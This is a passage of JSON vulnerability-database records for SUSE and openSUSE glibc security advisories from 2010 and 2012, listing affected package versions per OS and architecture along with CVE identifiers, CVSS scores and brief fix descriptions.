"operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "x86_64", "packageFilename": "glibc-profile-2.9-2.13.1.x86_64.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "i586", "packageFilename": "glibc-html-2.9-13.11.1.i586.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "ia64", "packageFilename": "glibc-profile-2.4-31.77.76.1.ia64.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "x86_64", "packageFilename": "nscd-2.9-13.11.1.x86_64.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.3.1", "arch": "x86_64", "packageFilename": "glibc-info-2.11.2-3.3.1.x86_64.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "x86_64", "packageFilename": "glibc-devel-32bit-2.11.1-0.20.1.x86_64.rpm", "packageName": "glibc-devel-32bit", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.2", "packageVersion": "2.10.1-10.9.1", "arch": "x86_64", "packageFilename": "glibc-32bit-2.10.1-10.9.1.x86_64.rpm", "packageName": "glibc-32bit", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.2", "packageVersion": "2.10.1-10.9.1", "arch": "x86_64", "packageFilename": "glibc-obsolete-2.10.1-10.9.1.x86_64.rpm", "packageName": "glibc-obsolete", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "ia64", "packageFilename": "glibc-profile-x86-2.11.1-0.20.1.ia64.rpm", "packageName": "glibc-profile-x86", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "s390x", "packageFilename": "glibc-locale-32bit-2.9-13.11.1.s390x.rpm", "packageName": "glibc-locale-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "x86_64", "packageFilename": "glibc-info-2.11.1-0.20.1.x86_64.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "i586", "packageFilename": "glibc-i18ndata-2.4-31.77.76.1.i586.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.2", "packageVersion": "2.10.1-10.9.1", "arch": "x86_64", "packageFilename": "glibc-devel-32bit-2.10.1-10.9.1.x86_64.rpm", "packageName": "glibc-devel-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "s390x", "packageFilename": "nscd-2.4-31.77.76.1.s390x.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "i586", "packageFilename": "glibc-html-2.11.1-0.20.1.i586.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "i586", "packageFilename": "glibc-info-2.9-2.13.1.i586.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Software Development Kit", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "x86_64", "packageFilename": "glibc-info-2.11.1-0.20.1.x86_64.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "x86_64", "packageFilename": "glibc-debuginfo-2.4-31.77.76.1.x86_64.rpm", "packageName": "glibc-debuginfo", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "x86_64", "packageFilename": "glibc-devel-2.11.1-0.20.1.x86_64.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "ia64", "packageFilename": "nscd-2.4-31.77.76.1.ia64.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "ia64", "packageFilename": "glibc-locale-2.11.1-0.20.1.ia64.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.2", "packageVersion": "2.10.1-10.9.1", "arch": "x86_64", "packageFilename": "glibc-devel-2.10.1-10.9.1.x86_64.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "ppc", "packageFilename": "glibc-locale-2.4-31.77.76.1.ppc.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "x86_64", "packageFilename": "glibc-info-2.11.1-0.20.1.x86_64.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.3.1", "arch": "i686", "packageFilename": "glibc-devel-2.11.2-3.3.1.i686.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Software Development Kit", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "x86_64", "packageFilename": "glibc-profile-2.4-31.77.76.1.x86_64.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "i586", "packageFilename": "glibc-i18ndata-2.9-13.11.1.i586.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "x86_64", "packageFilename": "glibc-html-2.4-31.77.76.1.x86_64.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "x86_64", "packageFilename": "glibc-locale-2.9-2.13.1.x86_64.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "i686", "packageFilename": "glibc-2.11.1-0.20.1.i686.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "s390x", "packageFilename": "glibc-html-2.4-31.77.76.1.s390x.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "x86_64", "packageFilename": "glibc-locale-32bit-2.11.1-0.20.1.x86_64.rpm", "packageName": "glibc-locale-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "ppc64", "packageFilename": "glibc-2.11.1-0.20.1.ppc64.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.2", "packageVersion": "2.10.1-10.9.1", "arch": "i686", "packageFilename": "glibc-2.10.1-10.9.1.i686.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "ppc", "packageFilename": "glibc-profile-2.4-31.77.76.1.ppc.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "ia64", "packageFilename": "glibc-2.4-31.77.76.1.ia64.rpm", "packageName": "glibc", "operator": "lt"}], "description": "The Linux C library glibc was updated to fix critical security issues and several bugs:\n#### Solution\nThere is no known workaround, please install the update packages.", "edition": 1, "reporter": "Suse", "published": "2010-10-28T13:41:00", "title": "local privilege escalation in glibc", "enchantments": {"score": {"vector": "NONE", "value": 7.2}}, "type": "suse", "bulletinFamily": "unix", "cvelist": ["CVE-2010-2942", "CVE-2010-3078", "CVE-2010-3297", "CVE-2010-0015", "CVE-2010-2955", "CVE-2010-2946", "CVE-2010-0296", "CVE-2010-3310", "CVE-2010-3296", "CVE-2010-0830", "CVE-2010-3015", "CVE-2010-2954", "CVE-2010-3856", "CVE-2010-2803", "CVE-2010-3847", "CVE-2010-2798", "CVE-2008-1391", "CVE-2010-3080"], "modified": "2010-10-28T13:41:00", "id": "SUSE-SA:2010:052", "href": "http://lists.opensuse.org/opensuse-security-announce/2010-10/msg00007.html", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2016-09-04T11:45:28", "references": ["https://bugzilla.novell.com/735850"], "affectedPackage": [{"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.7.1", "arch": "x86_64", "packageFilename": "glibc-32bit-2.11.2-3.7.1.x86_64.rpm", "packageName": "glibc-32bit", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.4", "packageVersion": "2.11.3-12.21.1", "arch": "x86_64", "packageFilename": "glibc-obsolete-2.11.3-12.21.1.x86_64.rpm", "packageName": "glibc-obsolete", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.7.1", "arch": "i586", "packageFilename": "glibc-profile-2.11.2-3.7.1.i586.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.4", "packageVersion": "2.11.3-12.21.1", "arch": "x86_64", "packageFilename": "glibc-locale-2.11.3-12.21.1.x86_64.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.4", "packageVersion": "2.11.3-12.21.1", "arch": "x86_64", "packageFilename": "nscd-2.11.3-12.21.1.x86_64.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.4", "packageVersion": "2.11.3-12.21.1", "arch": "x86_64", "packageFilename": "glibc-2.11.3-12.21.1.x86_64.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.4", "packageVersion": "2.11.3-12.21.1", "arch": "x86_64", "packageFilename": "glibc-i18ndata-2.11.3-12.21.1.x86_64.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.4", "packageVersion": "2.11.3-12.21.1", "arch": "i686", "packageFilename": "glibc-devel-2.11.3-12.21.1.i686.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.4", "packageVersion": "2.11.3-12.21.1", "arch": "i586", "packageFilename": "glibc-obsolete-2.11.3-12.21.1.i586.rpm", "packageName": "glibc-obsolete", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.7.1", "arch": "x86_64", "packageFilename": "glibc-locale-2.11.2-3.7.1.x86_64.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.4", "packageVersion": "2.11.3-12.21.1", "arch": "x86_64", "packageFilename": "glibc-profile-32bit-2.11.3-12.21.1.x86_64.rpm", "packageName": "glibc-profile-32bit", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.7.1", "arch": "x86_64", "packageFilename": "glibc-locale-32bit-2.11.2-3.7.1.x86_64.rpm", "packageName": "glibc-locale-32bit", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.4", "packageVersion": "2.11.3-12.21.1", "arch": "x86_64", "packageFilename": "glibc-info-2.11.3-12.21.1.x86_64.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.7.1", "arch": "x86_64", "packageFilename": "nscd-2.11.2-3.7.1.x86_64.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.7.1", "arch": "x86_64", "packageFilename": "glibc-info-2.11.2-3.7.1.x86_64.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.4", "packageVersion": "2.11.3-12.21.1", "arch": "i586", "packageFilename": "nscd-2.11.3-12.21.1.i586.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.7.1", "arch": "x86_64", "packageFilename": "glibc-html-2.11.2-3.7.1.x86_64.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.7.1", "arch": "i586", "packageFilename": "glibc-info-2.11.2-3.7.1.i586.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.7.1", "arch": "i686", "packageFilename": "glibc-devel-2.11.2-3.7.1.i686.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.7.1", "arch": "x86_64", "packageFilename": "glibc-profile-32bit-2.11.2-3.7.1.x86_64.rpm", "packageName": "glibc-profile-32bit", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.7.1", "arch": "i586", "packageFilename": "glibc-html-2.11.2-3.7.1.i586.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.7.1", "arch": "i586", "packageFilename": "glibc-locale-2.11.2-3.7.1.i586.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.4", "packageVersion": "2.11.3-12.21.1", "arch": "x86_64", "packageFilename": "glibc-locale-32bit-2.11.3-12.21.1.x86_64.rpm", "packageName": "glibc-locale-32bit", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.7.1", "arch": "i586", "packageFilename": "glibc-obsolete-2.11.2-3.7.1.i586.rpm", "packageName": "glibc-obsolete", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.4", "packageVersion": "2.11.3-12.21.1", "arch": "i586", "packageFilename": "glibc-html-2.11.3-12.21.1.i586.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.7.1", "arch": "x86_64", "packageFilename": "glibc-i18ndata-2.11.2-3.7.1.x86_64.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.4", "packageVersion": "2.11.3-12.21.1", "arch": "i586", "packageFilename": "glibc-2.11.3-12.21.1.i586.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.4", "packageVersion": "2.11.3-12.21.1", "arch": "i586", "packageFilename": "glibc-devel-2.11.3-12.21.1.i586.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.4", "packageVersion": "2.11.3-12.21.1", "arch": "i686", "packageFilename": "glibc-2.11.3-12.21.1.i686.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.7.1", "arch": "i586", "packageFilename": "glibc-2.11.2-3.7.1.i586.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.7.1", "arch": "x86_64", "packageFilename": "glibc-obsolete-2.11.2-3.7.1.x86_64.rpm", "packageName": "glibc-obsolete", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.4", "packageVersion": "2.11.3-12.21.1", "arch": "i586", "packageFilename": "glibc-locale-2.11.3-12.21.1.i586.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.4", "packageVersion": "2.11.3-12.21.1", "arch": "x86_64", "packageFilename": "glibc-32bit-2.11.3-12.21.1.x86_64.rpm", "packageName": "glibc-32bit", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.7.1", "arch": "i586", "packageFilename": "nscd-2.11.2-3.7.1.i586.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.7.1", "arch": "i586", "packageFilename": "glibc-devel-2.11.2-3.7.1.i586.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.4", "packageVersion": "2.11.3-12.21.1", "arch": "x86_64", "packageFilename": "glibc-profile-2.11.3-12.21.1.x86_64.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.4", "packageVersion": "2.11.3-12.21.1", "arch": "x86_64", "packageFilename": "glibc-devel-2.11.3-12.21.1.x86_64.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.7.1", "arch": "x86_64", "packageFilename": "glibc-devel-2.11.2-3.7.1.x86_64.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.4", "packageVersion": "2.11.3-12.21.1", "arch": "i586", "packageFilename": "glibc-profile-2.11.3-12.21.1.i586.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.7.1", "arch": "x86_64", "packageFilename": "glibc-2.11.2-3.7.1.x86_64.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.7.1", "arch": "x86_64", "packageFilename": "glibc-devel-32bit-2.11.2-3.7.1.x86_64.rpm", "packageName": "glibc-devel-32bit", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.4", "packageVersion": "2.11.3-12.21.1", "arch": "x86_64", "packageFilename": "glibc-html-2.11.3-12.21.1.x86_64.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.7.1", "arch": "x86_64", "packageFilename": "glibc-profile-2.11.2-3.7.1.x86_64.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.4", "packageVersion": "2.11.3-12.21.1", "arch": "i586", "packageFilename": "glibc-info-2.11.3-12.21.1.i586.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.4", "packageVersion": "2.11.3-12.21.1", "arch": "x86_64", "packageFilename": "glibc-devel-32bit-2.11.3-12.21.1.x86_64.rpm", "packageName": "glibc-devel-32bit", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.7.1", "arch": "i586", "packageFilename": "glibc-i18ndata-2.11.2-3.7.1.i586.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.4", "packageVersion": "2.11.3-12.21.1", "arch": "i586", "packageFilename": "glibc-i18ndata-2.11.3-12.21.1.i586.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.7.1", "arch": "i686", "packageFilename": "glibc-2.11.2-3.7.1.i686.rpm", "packageName": "glibc", "operator": "lt"}], "description": "Specially crafted time zone files could cause a heap\n overflow in glibc (CVE-2009-5029).\n\n", "edition": 1, "reporter": "Suse", "published": "2012-01-05T19:08:22", "title": "glibc (important)", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "type": "suse", "bulletinFamily": "unix", "cvelist": ["CVE-2009-5029"], "modified": "2012-01-05T19:08:22", "id": "OPENSUSE-SU-2012:0064-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2012-01/msg00040.html", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2016-09-04T11:43:32", "references": ["http://download.novell.com/patch/finder/?keywords=aba5a35b05cac6339a45d9264306d85b", "https://bugzilla.novell.com/661460", "https://bugzilla.novell.com/735850"], "affectedPackage": [{"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "i686", "packageFilename": "glibc-devel-2.4-31.97.1.i686.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "i586", "packageFilename": "glibc-dceext-2.4-31.97.1.i586.rpm", "packageName": "glibc-dceext", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "x86_64", "packageFilename": "glibc-info-2.4-31.97.1.x86_64.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "ia64", "packageFilename": "glibc-2.4-31.97.1.ia64.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "s390x", "packageFilename": "glibc-i18ndata-2.4-31.97.1.s390x.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "x86_64", "packageFilename": "glibc-devel-32bit-2.4-31.97.1.x86_64.rpm", "packageName": "glibc-devel-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "i586", "packageFilename": "glibc-i18ndata-2.4-31.97.1.i586.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "ia64", "packageFilename": "glibc-x86-2.4-31.97.1.ia64.rpm", "packageName": "glibc-x86", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "x86_64", "packageFilename": "nscd-2.4-31.97.1.x86_64.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "x86_64", "packageFilename": "glibc-32bit-2.4-31.97.1.x86_64.rpm", "packageName": "glibc-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "i586", "packageFilename": "glibc-profile-2.4-31.97.1.i586.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "ia64", "packageFilename": "glibc-profile-2.4-31.97.1.ia64.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "i586", "packageFilename": "glibc-i18ndata-2.4-31.97.1.i586.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "s390x", "packageFilename": "glibc-profile-2.4-31.97.1.s390x.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "x86_64", "packageFilename": "glibc-locale-2.4-31.97.1.x86_64.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "ia64", "packageFilename": "glibc-profile-2.4-31.97.1.ia64.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "x86_64", "packageFilename": "glibc-dceext-32bit-2.4-31.97.1.x86_64.rpm", "packageName": "glibc-dceext-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "ppc", "packageFilename": "nscd-2.4-31.97.1.ppc.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "ppc", "packageFilename": "glibc-info-2.4-31.97.1.ppc.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "ppc", "packageFilename": "glibc-html-2.4-31.97.1.ppc.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "x86_64", "packageFilename": "glibc-profile-32bit-2.4-31.97.1.x86_64.rpm", "packageName": "glibc-profile-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "x86_64", "packageFilename": "glibc-devel-32bit-2.4-31.97.1.x86_64.rpm", "packageName": "glibc-devel-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "ppc", "packageFilename": "glibc-profile-2.4-31.97.1.ppc.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "x86_64", "packageFilename": "glibc-devel-2.4-31.97.1.x86_64.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "ppc", "packageFilename": "glibc-devel-2.4-31.97.1.ppc.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "x86_64", "packageFilename": "glibc-info-2.4-31.97.1.x86_64.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "ppc", "packageFilename": "glibc-i18ndata-2.4-31.97.1.ppc.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "s390x", "packageFilename": "nscd-2.4-31.97.1.s390x.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "ppc", "packageFilename": "glibc-2.4-31.97.1.ppc.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "i586", "packageFilename": "glibc-devel-2.4-31.97.1.i586.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "i586", "packageFilename": "glibc-devel-2.4-31.97.1.i586.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "i586", "packageFilename": "glibc-locale-2.4-31.97.1.i586.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "i586", "packageFilename": "glibc-profile-2.4-31.97.1.i586.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "x86_64", "packageFilename": "glibc-locale-32bit-2.4-31.97.1.x86_64.rpm", "packageName": "glibc-locale-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "ppc", "packageFilename": "glibc-html-2.4-31.97.1.ppc.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "s390x", "packageFilename": "glibc-locale-2.4-31.97.1.s390x.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "x86_64", "packageFilename": "glibc-html-2.4-31.97.1.x86_64.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "ia64", "packageFilename": "glibc-profile-x86-2.4-31.97.1.ia64.rpm", "packageName": "glibc-profile-x86", "operator": "lt"}, {"OS": "SUSE Linux Enterprise 